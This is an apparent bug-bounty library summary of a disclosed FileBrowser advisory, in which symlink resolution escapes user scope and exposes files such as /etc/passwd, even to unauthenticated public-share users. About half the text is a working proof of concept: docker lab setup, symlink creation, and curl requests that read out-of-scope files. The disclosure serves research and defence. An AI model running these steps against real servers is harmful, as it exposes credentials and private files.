# FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory

FileBrowser resolves symlinks without re-checking scope, so a symlink inside a user's directory leaks /etc/passwd and secrets, even unauthenticated via public shares.

- Payout: Research
- Severity: high
- Program: FileBrowser
- Found by: je-lv, KasperBuilds
- Disclosed: 2026-10-27
- CVE: CVE-2026-116682
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mgqf-5mf5-prfj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mgqf-5mf5-prfj
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:docker tech:go technique:source-review vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** Go file-server backend: download/preview/media/OnlyOffice and public share read endpoints
**Root cause:** ResolveSymlinks uses filepath.EvalSymlinks and returns the resolved target without verifying it remains under the user's source root; GetRealPath passes it unchecked to handlers that set FollowSymlinks: true.
**Steps:**
1. Seed a file outside the served subtree: `echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt` and run `gtstef/filebrowser:1.3.3-stable` with `-v /tmp/fb-q-lab/srv:/srv`.
2. Create symlinks inside the served tree: `ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link`.
3. Authenticate: `ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')`.
4. Read out of scope: `curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN"` returns `[passwd_link] root:x:0:0:root:/root:/bin/sh`.
5. Create a public share of `/user1` via `POST /api/share?auth=$ADMIN_TOKEN` with JSON body `{"path":"/user1","source":"srv"}` and extract `hash`.
6. Unauthenticated read: `curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link"` returns the same content with HTTP 200.
**How found:** Code reading of the read path: noticed ResolveSymlinks returns EvalSymlinks output with no containment check, while the project already had symlinkTargetStaysUnderDest for archive extraction but never applied it to general reads; then confirmed live in a container with bind-mounted symlinks.
**Exploitation:** Any authenticated user with download access requests a symlink path inside their scope; the server resolves it and serves the target file. If a public share exposes a directory containing such a symlink, an attacker with only the share hash reads the same files with no account, since withHashFile authorizes by hash alone.
**Escalation:** Unauthenticated vector via public shares (PR:N) and cross-tenant reads in multi-user deployments; same gap reaches preview, media/subtitle and OnlyOffice sinks.
**Insight:** When a project adds a containment guard for one sink (archive extraction), grep for every other place the same resolution primitive is used — the guard is usually not generalized. Also check whether unauthenticated share/hash-authorized routes reuse the same file-serving helper as authenticated ones.

## Proof of concept (copied exactly from the original report)

**Unauthenticated public-share symlink read PoC**

```
SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
  -H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")

**6. With only the public share hash and no credential, download through the symlink.**
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"
```

**Authenticated download through symlinks**

```
ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')

**4. Download through the symlinks and read files from outside the scope.**
curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"
```

**Symlink creation and container setup**

```
docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090

**2. Place symlinks inside the served tree that point outside it.** One points at a host file (`/etc/passwd`), one at the file outside the user's subtree.
docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
```

